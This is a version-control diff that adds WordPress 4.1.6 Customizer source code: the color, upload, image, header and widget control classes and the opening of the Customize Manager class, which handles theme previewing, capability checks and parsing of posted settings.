+	 * An Underscore (JS) template for this control's content (but not its container).
+	 *
+	 * Class variables for this control class are available in the `data` JS object;
+	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
+	 *
+	 * @see WP_Customize_Control::print_template()
+	 *
+	 * @since 4.1.0
+	 */
+	protected function content_template() {}
+
+}
+
+/**
+ * Customize Color Control Class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Color_Control extends WP_Customize_Control {
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'color';
+
+	/**
+	 * @access public
+	 * @var array
+	 */
+	public $statuses;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager
+	 * @param string $id
+	 * @param array $args
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$this->statuses = array( '' => __('Default') );
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Enqueue scripts/styles for the color picker.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue() {
+		wp_enqueue_script( 'wp-color-picker' );
+		wp_enqueue_style( 'wp-color-picker' );
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['statuses'] = $this->statuses;
+		$this->json['defaultValue'] = $this->setting->default;
+	}
+
+	/**
+	 * Don't render the control content from PHP, as it's rendered via JS on load.
+	 *
+	 * @since 3.4.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for the content of the color picker control.
+	 *
+	 * @since 4.1.0
+	 */
+	public function content_template() {
+		?>
+		<# var defaultValue = '';
+		if ( data.defaultValue ) {
+			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
+				defaultValue = '#' + data.defaultValue;
+			} else {
+				defaultValue = data.defaultValue;
+			}
+			defaultValue = ' data-default-color=' + defaultValue; // Quotes added automatically.
+		} #>
+		<label>
+			<# if ( data.label ) { #>
+				<span class="customize-control-title">{{{ data.label }}}</span>
+			<# } #>
+			<# if ( data.description ) { #>
+				<span class="description customize-control-description">{{{ data.description }}}</span>
+			<# } #>
+			<div class="customize-control-content">
+				<input class="color-picker-hex" type="text" maxlength="7" placeholder="<?php esc_attr_e( 'Hex Value' ); ?>" {{ defaultValue }} />
+			</div>
+		</label>
+		<?php
+	}
+}
+
+/**
+ * Customize Upload Control Class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Upload_Control extends WP_Customize_Control {
+	public $type          = 'upload';
+	public $mime_type     = '';
+	public $button_labels = array();
+	public $removed = ''; // unused
+	public $context; // unused
+	public $extensions = array(); // unused
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param WP_Customize_Manager $manager {@see WP_Customize_Manager} instance.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+
+		$this->button_labels = array(
+			'select'       => __( 'Select File' ),
+			'change'       => __( 'Change File' ),
+			'default'      => __( 'Default' ),
+			'remove'       => __( 'Remove' ),
+			'placeholder'  => __( 'No file selected' ),
+			'frame_title'  => __( 'Select File' ),
+			'frame_button' => __( 'Choose File' ),
+		);
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue() {
+		wp_enqueue_media();
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['mime_type'] = $this->mime_type;
+		$this->json['button_labels'] = $this->button_labels;
+
+		$value = $this->value();
+
+		if ( is_object( $this->setting ) ) {
+			if ( $this->setting->default ) {
+				// Fake an attachment model - needs all fields used by template.
+				$type = in_array( substr( $this->setting->default, -3 ), array( 'jpg', 'png', 'gif', 'bmp' ) ) ? 'image' : 'document';
+				$default_attachment = array(
+					'id' => 1,
+					'url' => $this->setting->default,
+					'type' => $type,
+					'icon' => wp_mime_type_icon( $type ),
+					'title' => basename( $this->setting->default ),
+				);
+
+				if ( 'image' === $type ) {
+					$default_attachment['sizes'] = array(
+						'full' => array( 'url' => $this->setting->default ),
+					);
+				}
+
+				$this->json['defaultAttachment'] = $default_attachment;
+			}
+
+			if ( $value && $this->setting->default && $value === $this->setting->default ) {
+				// Set the default as the attachment.
+				$this->json['attachment'] = $this->json['defaultAttachment'];
+			} elseif ( $value ) {
+				// Get the attachment model for the existing file.
+				$attachment_id = attachment_url_to_postid( $value );
+				if ( $attachment_id ) {
+					$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
+				}
+			}
+		}
+	}
+
+	/**
+	 * Don't render any content for this control from PHP.
+	 *
+	 * @see WP_Customize_Upload_Control::content_template()
+	 * @since 3.4.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for the content of the upload control.
+	 *
+	 * @since 4.1.0
+	 */
+	public function content_template() {
+		?>
+		<label for="{{ data.settings['default'] }}-button">
+			<# if ( data.label ) { #>
+				<span class="customize-control-title">{{ data.label }}</span>
+			<# } #>
+			<# if ( data.description ) { #>
+				<span class="description customize-control-description">{{{ data.description }}}</span>
+			<# } #>
+		</label>
+
+		<# if ( data.attachment && data.attachment.id ) { #>
+			<div class="current">
+				<div class="container">
+					<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
+						<div class="thumbnail thumbnail-{{ data.attachment.type }}">
+							<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
+								<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" />
+							<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
+								<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" />
+							<# } else if ( 'audio' === data.attachment.type ) { #>
+								<img class="attachment-thumb type-icon" src="{{ data.attachment.icon }}" class="icon" draggable="false" />
+								<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
+								<# if ( data.attachment.album || data.attachment.meta.album ) { #>
+								<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
+								<# } #>
+								<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
+								<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
+								<# } #>
+							<# } else { #>
+								<img class="attachment-thumb type-icon" src="{{ data.attachment.icon }}" class="icon" draggable="false" />
+								<p class="attachment-title">{{ data.attachment.title }}</p>
+							<# } #>
+						</div>
+					</div>
+				</div>
+			</div>
+			<div class="actions">
+				<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
+				<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['change']; ?></button>
+				<div style="clear:both"></div>
+			</div>
+		<# } else { #>
+			<div class="current">
+				<div class="container">
+					<div class="placeholder">
+						<div class="inner">
+							<span>
+								<?php echo $this->button_labels['placeholder']; ?>
+							</span>
+						</div>
+					</div>
+				</div>
+			</div>
+			<div class="actions">
+				<# if ( data.defaultAttachment ) { #>
+					<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
+				<# } #>
+				<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['select']; ?></button>
+				<div style="clear:both"></div>
+			</div>
+		<# } #>
+		<?php
+	}
+}
+
+/**
+ * Customize Image Control Class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
+	public $type = 'image';
+	public $mime_type = 'image';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Upload_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager
+	 * @param string $id
+	 * @param array  $args
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+
+		$this->button_labels = array(
+			'select'       => __( 'Select Image' ),
+			'change'       => __( 'Change Image' ),
+			'remove'       => __( 'Remove' ),
+			'default'      => __( 'Default' ),
+			'placeholder'  => __( 'No image selected' ),
+			'frame_title'  => __( 'Select Image' ),
+			'frame_button' => __( 'Choose Image' ),
+		);
+	}
+
+	/**
+	 * @since 3.4.2
+	 * @deprecated 4.1.0
+	 */
+	public function prepare_control() {}
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $id
+	 * @param string $label
+	 * @param mixed $callback
+	 */
+	public function add_tab( $id, $label, $callback ) {}
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $id
+	 */
+	public function remove_tab( $id ) {}
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $url
+	 * @param string $thumbnail_url
+	 */
+	public function print_tab_image( $url, $thumbnail_url = null ) {}
+}
+
+/**
+ * Customize Background Image Control Class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {
+	public $type = 'background';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Image_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager
+	 */
+	public function __construct( $manager ) {
+		parent::__construct( $manager, 'background_image', array(
+			'label'    => __( 'Background Image' ),
+			'section'  => 'background_image',
+		) );
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 4.1.0
+	 */
+	public function enqueue() {
+		parent::enqueue();
+
+		wp_localize_script( 'customize-controls', '_wpCustomizeBackground', array(
+			'nonces' => array(
+				'add' => wp_create_nonce( 'background-add' ),
+			),
+		) );
+	}
+}
+
+class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
+	public $type = 'header';
+	public $uploaded_headers;
+	public $default_headers;
+
+	/**
+	 * @param WP_Customize_Manager $manager
+	 */
+	public function __construct( $manager ) {
+		parent::__construct( $manager, 'header_image', array(
+			'label'    => __( 'Header Image' ),
+			'settings' => array(
+				'default' => 'header_image',
+				'data'    => 'header_image_data',
+			),
+			'section'  => 'header_image',
+			'removed'  => 'remove-header',
+			'get_url'  => 'get_header_image',
+		) );
+
+	}
+
+	public function to_json() {
+		parent::to_json();
+	}
+
+	public function enqueue() {
+		wp_enqueue_media();
+		wp_enqueue_script( 'customize-views' );
+
+		$this->prepare_control();
+
+		wp_localize_script( 'customize-views', '_wpCustomizeHeader', array(
+			'data' => array(
+				'width' => absint( get_theme_support( 'custom-header', 'width' ) ),
+				'height' => absint( get_theme_support( 'custom-header', 'height' ) ),
+				'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
+				'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
+				'currentImgSrc' => $this->get_current_image_src(),
+			),
+			'nonces' => array(
+				'add' => wp_create_nonce( 'header-add' ),
+				'remove' => wp_create_nonce( 'header-remove' ),
+			),
+			'uploads' => $this->uploaded_headers,
+			'defaults' => $this->default_headers
+		) );
+
+		parent::enqueue();
+	}
+
+	public function prepare_control() {
+		global $custom_image_header;
+		if ( empty( $custom_image_header ) ) {
+			return;
+		}
+
+		// Process default headers and uploaded headers.
+		$custom_image_header->process_default_headers();
+		$this->default_headers = $custom_image_header->get_default_header_images();
+		$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
+	}
+
+	function print_header_image_template() {
+		?>
+		<script type="text/template" id="tmpl-header-choice">
+			<# if (data.random) { #>
+					<button type="button" class="button display-options random">
+						<span class="dashicons dashicons-randomize dice"></span>
+						<# if ( data.type === 'uploaded' ) { #>
+							<?php _e( 'Randomize uploaded headers' ); ?>
+						<# } else if ( data.type === 'default' ) { #>
+							<?php _e( 'Randomize suggested headers' ); ?>
+						<# } #>
+					</button>
+
+			<# } else { #>
+
+			<# if (data.type === 'uploaded') { #>
+				<div class="dashicons dashicons-no close"></div>
+			<# } #>
+
+			<button type="button" class="choice thumbnail"
+				data-customize-image-value="{{{data.header.url}}}"
+				data-customize-header-image-data="{{JSON.stringify(data.header)}}">
+				<span class="screen-reader-text"><?php _e( 'Set image' ); ?></span>
+				<img src="{{{data.header.thumbnail_url}}}" alt="{{{data.header.alt_text || data.header.description}}}">
+			</button>
+
+			<# } #>
+		</script>
+
+		<script type="text/template" id="tmpl-header-current">
+			<# if (data.choice) { #>
+				<# if (data.random) { #>
+
+			<div class="placeholder">
+				<div class="inner">
+					<span><span class="dashicons dashicons-randomize dice"></span>
+					<# if ( data.type === 'uploaded' ) { #>
+						<?php _e( 'Randomizing uploaded headers' ); ?>
+					<# } else if ( data.type === 'default' ) { #>
+						<?php _e( 'Randomizing suggested headers' ); ?>
+					<# } #>
+					</span>
+				</div>
+			</div>
+
+				<# } else { #>
+
+			<img src="{{{data.header.thumbnail_url}}}" alt="{{{data.header.alt_text || data.header.description}}}" tabindex="0"/>
+
+				<# } #>
+			<# } else { #>
+
+			<div class="placeholder">
+				<div class="inner">
+					<span>
+						<?php _e( 'No image set' ); ?>
+					</span>
+				</div>
+			</div>
+
+			<# } #>
+		</script>
+		<?php
+	}
+
+	public function get_current_image_src() {
+		$src = $this->value();
+		if ( isset( $this->get_url ) ) {
+			$src = call_user_func( $this->get_url, $src );
+			return $src;
+		}
+		return null;
+	}
+
+	public function render_content() {
+		$this->print_header_image_template();
+		$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
+		$width = absint( get_theme_support( 'custom-header', 'width' ) );
+		$height = absint( get_theme_support( 'custom-header', 'height' ) );
+		?>
+
+
+		<div class="customize-control-content">
+			<p class="customizer-section-intro">
+				<?php
+				if ( $width && $height ) {
+					printf( __( 'While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header size of <strong>%s &times; %s</strong> pixels.' ), $width, $height );
+				} elseif ( $width ) {
+					printf( __( 'While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header width of <strong>%s</strong> pixels.' ), $width );
+				} else {
+					printf( __( 'While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header height of <strong>%s</strong> pixels.' ), $height );
+				}
+				?>
+			</p>
+			<div class="current">
+				<span class="customize-control-title">
+					<?php _e( 'Current header' ); ?>
+				</span>
+				<div class="container">
+				</div>
+			</div>
+			<div class="actions">
+				<?php /* translators: Hide as in hide header image via the Customizer */ ?>
+				<button type="button"<?php echo $visibility ?> class="button remove"><?php _ex( 'Hide image', 'custom header' ); ?></button>
+				<?php /* translators: New as in add new header image via the Customizer */ ?>
+				<button type="button" class="button new"><?php _ex( 'Add new image', 'header image' ); ?></button>
+				<div style="clear:both"></div>
+			</div>
+			<div class="choices">
+				<span class="customize-control-title header-previously-uploaded">
+					<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
+				</span>
+				<div class="uploaded">
+					<div class="list">
+					</div>
+				</div>
+				<span class="customize-control-title header-default">
+					<?php _ex( 'Suggested', 'custom headers' ); ?>
+				</span>
+				<div class="default">
+					<div class="list">
+					</div>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
+}
+
+/**
+ * Widget Area Customize Control Class
+ *
+ * @since 3.9.0
+ */
+class WP_Widget_Area_Customize_Control extends WP_Customize_Control {
+	public $type = 'sidebar_widgets';
+	public $sidebar_id;
+
+	public function to_json() {
+		parent::to_json();
+		$exported_properties = array( 'sidebar_id' );
+		foreach ( $exported_properties as $key ) {
+			$this->json[ $key ] = $this->$key;
+		}
+	}
+
+	public function render_content() {
+		?>
+		<span class="button-secondary add-new-widget" tabindex="0">
+			<?php _e( 'Add a Widget' ); ?>
+		</span>
+
+		<span class="reorder-toggle" tabindex="0">
+			<span class="reorder"><?php _ex( 'Reorder', 'Reorder widgets in Customizer' ); ?></span>
+			<span class="reorder-done"><?php _ex( 'Done', 'Cancel reordering widgets in Customizer'  ); ?></span>
+		</span>
+		<?php
+	}
+
+}
+
+/**
+ * Widget Form Customize Control Class
+ *
+ * @since 3.9.0
+ */
+class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
+	public $type = 'widget_form';
+	public $widget_id;
+	public $widget_id_base;
+	public $sidebar_id;
+	public $is_new = false;
+	public $width;
+	public $height;
+	public $is_wide = false;
+
+	public function to_json() {
+		parent::to_json();
+		$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
+		foreach ( $exported_properties as $key ) {
+			$this->json[ $key ] = $this->$key;
+		}
+	}
+
+	public function render_content() {
+		global $wp_registered_widgets;
+		require_once ABSPATH . '/wp-admin/includes/widgets.php';
+
+		$widget = $wp_registered_widgets[ $this->widget_id ];
+		if ( ! isset( $widget['params'][0] ) ) {
+			$widget['params'][0] = array();
+		}
+
+		$args = array(
+			'widget_id' => $widget['id'],
+			'widget_name' => $widget['name'],
+		);
+
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		echo $this->manager->widgets->get_widget_control( $args );
+	}
+
+	/**
+	 * Whether the current widget is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return bool Whether the widget is rendered.
+	 */
+	function active_callback() {
+		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-manager.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-manager.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-manager.php	(revision 33402)
@@ -0,0 +1,1343 @@
+<?php
+/**
+ * Customize Manager.
+ *
+ * Bootstraps the Customize experience on the server-side.
+ *
+ * Sets up the theme-switching process if a theme other than the active one is
+ * being previewed and customized.
+ *
+ * Serves as a factory for Customize Controls and Settings, and
+ * instantiates default Customize Controls and Settings.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+final class WP_Customize_Manager {
+	/**
+	 * An instance of the theme being previewed.
+	 *
+	 * @var WP_Theme
+	 */
+	protected $theme;
+
+	/**
+	 * The directory name of the previously active theme (within the theme_root).
+	 *
+	 * @var string
+	 */
+	protected $original_stylesheet;
+
+	/**
+	 * Whether this is a Customizer pageload.
+	 *
+	 * @var boolean
+	 */
+	protected $previewing = false;
+
+	/**
+	 * Methods and properties deailing with managing widgets in the Customizer.
+	 *
+	 * @var WP_Customize_Widgets
+	 */
+	public $widgets;
+
+	protected $settings   = array();
+	protected $containers = array();
+	protected $panels     = array();
+	protected $sections   = array();
+	protected $controls   = array();
+
+	protected $nonce_tick;
+
+	protected $customized;
+
+	/**
+	 * Controls that may be rendered from JS templates.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $registered_control_types = array();
+
+	/**
+	 * Unsanitized values for Customize Settings parsed from $_POST['customized'].
+	 *
+	 * @var array|false
+	 */
+	private $_post_values;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 */
+	public function __construct() {
+		require_once( ABSPATH . WPINC . '/class-wp-customize-setting.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-panel.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-section.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-control.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-widgets.php' );
+
+		$this->widgets = new WP_Customize_Widgets( $this );
+
+		add_filter( 'wp_die_handler', array( $this, 'wp_die_handler' ) );
+
+		add_action( 'setup_theme',  array( $this, 'setup_theme' ) );
+		add_action( 'wp_loaded',    array( $this, 'wp_loaded' ) );
+
+		// Run wp_redirect_status late to make sure we override the status last.
+		add_action( 'wp_redirect_status', array( $this, 'wp_redirect_status' ), 1000 );
+
+		// Do not spawn cron (especially the alternate cron) while running the Customizer.
+		remove_action( 'init', 'wp_cron' );
+
+		// Do not run update checks when rendering the controls.
+		remove_action( 'admin_init', '_maybe_update_core' );
+		remove_action( 'admin_init', '_maybe_update_plugins' );
+		remove_action( 'admin_init', '_maybe_update_themes' );
+
+		add_action( 'wp_ajax_customize_save', array( $this, 'save' ) );
+
+		add_action( 'customize_register',                 array( $this, 'register_controls' ) );
+		add_action( 'customize_controls_init',            array( $this, 'prepare_controls' ) );
+		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) );
+	}
+
+	/**
+	 * Return true if it's an AJAX request.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool
+	 */
+	public function doing_ajax() {
+		return isset( $_POST['customized'] ) || ( defined( 'DOING_AJAX' ) && DOING_AJAX );
+	}
+
+	/**
+	 * Custom wp_die wrapper. Returns either the standard message for UI
+	 * or the AJAX message.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $ajax_message AJAX return
+	 * @param mixed $message UI message
+	 */
+	protected function wp_die( $ajax_message, $message = null ) {
+		if ( $this->doing_ajax() )
+			wp_die( $ajax_message );
+
+		if ( ! $message )
+			$message = __( 'Cheatin&#8217; uh?' );
+
+		wp_die( $message );
+	}
+
+	/**
+	 * Return the AJAX wp_die() handler if it's a customized request.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string
+	 */
+	public function wp_die_handler() {
+		if ( $this->doing_ajax() )
+			return '_ajax_wp_die_handler';
+
+		return '_default_wp_die_handler';
+	}
+
+	/**
+	 * Start preview and customize theme.
+	 *
+	 * Check if customize query variable exist. Init filters to filter the current theme.
+	 *
+	 * @since 3.4.0
+	 */
+	public function setup_theme() {
+		send_origin_headers();
+
+		if ( is_admin() && ! $this->doing_ajax() )
+		    auth_redirect();
+		elseif ( $this->doing_ajax() && ! is_user_logged_in() )
+		    $this->wp_die( 0 );
+
+		show_admin_bar( false );
+
+		if ( ! current_user_can( 'customize' ) ) {
+			$this->wp_die( -1 );
+		}
+
+		$this->original_stylesheet = get_stylesheet();
+
+		$this->theme = wp_get_theme( isset( $_REQUEST['theme'] ) ? $_REQUEST['theme'] : null );
+
+		if ( $this->is_theme_active() ) {
+			// Once the theme is loaded, we'll validate it.
+			add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) );
+		} else {
+			// If the requested theme is not the active theme and the user doesn't have the
+			// switch_themes cap, bail.
+			if ( ! current_user_can( 'switch_themes' ) )
+				$this->wp_die( -1 );
+
+			// If the theme has errors while loading, bail.
+			if ( $this->theme()->errors() )
+				$this->wp_die( -1 );
+
+			// If the theme isn't allowed per multisite settings, bail.
+			if ( ! $this->theme()->is_allowed() )
+				$this->wp_die( -1 );
+		}
+
+		$this->start_previewing_theme();
+	}
+
+	/**
+	 * Callback to validate a theme once it is loaded
+	 *
+	 * @since 3.4.0
+	 */
+	public function after_setup_theme() {
+		if ( ! $this->doing_ajax() && ! validate_current_theme() ) {
+			wp_redirect( 'themes.php?broken=true' );
+			exit;
+		}
+	}
+
+	/**
+	 * If the theme to be previewed isn't the active theme, add filter callbacks
+	 * to swap it out at runtime.
+	 *
+	 * @since 3.4.0
+	 */
+	public function start_previewing_theme() {
+		// Bail if we're already previewing.
+		if ( $this->is_preview() )
+			return;
+
+		$this->previewing = true;
+
+		if ( ! $this->is_theme_active() ) {
+			add_filter( 'template', array( $this, 'get_template' ) );
+			add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) );
+			add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) );
+
+			// @link: https://core.trac.wordpress.org/ticket/20027
+			add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) );
+			add_filter( 'pre_option_template', array( $this, 'get_template' ) );
+
+			// Handle custom theme roots.
+			add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) );
+			add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) );
+		}
+
+		/**
+		 * Fires once the Customizer theme preview has started.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'start_previewing_theme', $this );
+	}
+
+	/**
+	 * Stop previewing the selected theme.
+	 *
+	 * Removes filters to change the current theme.
+	 *
+	 * @since 3.4.0
+	 */
+	public function stop_previewing_theme() {
+		if ( ! $this->is_preview() )
+			return;
+
+		$this->previewing = false;
+
+		if ( ! $this->is_theme_active() ) {
+			remove_filter( 'template', array( $this, 'get_template' ) );
+			remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) );
+			remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) );
+
+			// @link: https://core.trac.wordpress.org/ticket/20027
+			remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) );
+			remove_filter( 'pre_option_template', array( $this, 'get_template' ) );
+
+			// Handle custom theme roots.
+			remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) );
+			remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) );
+		}
+
+		/**
+		 * Fires once the Customizer theme preview has stopped.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'stop_previewing_theme', $this );
+	}
+
+	/**
+	 * Get the theme being customized.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return WP_Theme
+	 */
+	public function theme() {
+		return $this->theme;
+	}
+
+	/**
+	 * Get the registered settings.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function settings() {
+		return $this->settings;
+	}
+
+	/**
+	 * Get the registered controls.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function controls() {
+		return $this->controls;
+	}
+
+	/**
+	 * Get the registered containers.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	public function containers() {
+		return $this->containers;
+	}
+
+	/**
+	 * Get the registered sections.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return array
+	 */
+	public function sections() {
+		return $this->sections;
+	}
+
+	/**
+	 * Get the registered panels.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @return array Panels.
+	 */
+	public function panels() {
+		return $this->panels;
+	}
+
+	/**
+	 * Checks if the current theme is active.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool
+	 */
+	public function is_theme_active() {
+		return $this->get_stylesheet() == $this->original_stylesheet;
+	}
+
+	/**
+	 * Register styles/scripts and initialize the preview of each setting
+	 *
+	 * @since 3.4.0
+	 */
+	public function wp_loaded() {
+
+		/**
+		 * Fires once WordPress has loaded, allowing scripts and styles to be initialized.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_register', $this );
+
+		if ( $this->is_preview() && ! is_admin() )
+			$this->customize_preview_init();
+	}
+
+	/**
+	 * Prevents AJAX requests from following redirects when previewing a theme
+	 * by issuing a 200 response instead of a 30x.
+	 *
+	 * Instead, the JS will sniff out the location header.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $status
+	 * @return int
+	 */
+	public function wp_redirect_status( $status ) {
+		if ( $this->is_preview() && ! is_admin() )
+			return 200;
+
+		return $status;
+	}
+
+	/**
+	 * Parse the incoming $_POST['customized'] JSON data and store the unsanitized
+	 * settings for subsequent post_value() lookups.
+	 *
+	 * @since 4.1.1
+	 *
+	 * @return array
+	 */
+	public function unsanitized_post_values() {
+		if ( ! isset( $this->_post_values ) ) {
+			if ( isset( $_POST['customized'] ) ) {
+				$this->_post_values = json_decode( wp_unslash( $_POST['customized'] ), true );
+			}
+			if ( empty( $this->_post_values ) ) { // if not isset or of JSON error
+				$this->_post_values = false;
+			}
+		}
+		if ( empty( $this->_post_values ) ) {
+			return array();
+		} else {
+			return $this->_post_values;
+		}
+	}
+
+	/**
+	 * Return the sanitized value for a given setting from the request's POST data.
+	 *
+	 * @since 3.4.0
+	 * @since 4.1.1 Introduced 'default' parameter.
+	 *
+	 * @param WP_Customize_Setting $setting A WP_Customize_Setting derived object
+	 * @param mixed $default value returned $setting has no post value (added in 4.2.0).
+	 * @return string|mixed $post_value Sanitized value or the $default provided
+	 */
+	public function post_value( $setting, $default = null ) {
+		$post_values = $this->unsanitized_post_values();
+		if ( array_key_exists( $setting->id, $post_values ) ) {
+			return $setting->sanitize( $post_values[ $setting->id ] );
+		} else {
+			return $default;
+		}
+	}
+
+	/**
+	 * Print JavaScript settings.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_init() {
+		$this->nonce_tick = check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce' );
+
+		$this->prepare_controls();
+
+		wp_enqueue_script( 'customize-preview' );
+		add_action( 'wp', array( $this, 'customize_preview_override_404_status' ) );
+		add_action( 'wp_head', array( $this, 'customize_preview_base' ) );
+		add_action( 'wp_head', array( $this, 'customize_preview_html5' ) );
+		add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 );
+		add_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 );
+		add_filter( 'wp_die_handler', array( $this, 'remove_preview_signature' ) );
+
+		foreach ( $this->settings as $setting ) {
+			$setting->preview();
+		}
+
+		/**
+		 * Fires once the Customizer preview has initialized and JavaScript
+		 * settings have been printed.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_preview_init', $this );
+	}
+
+	/**
+	 * Prevent sending a 404 status when returning the response for the customize
+	 * preview, since it causes the jQuery AJAX to fail. Send 200 instead.
+	 *
+	 * @since 4.0.0
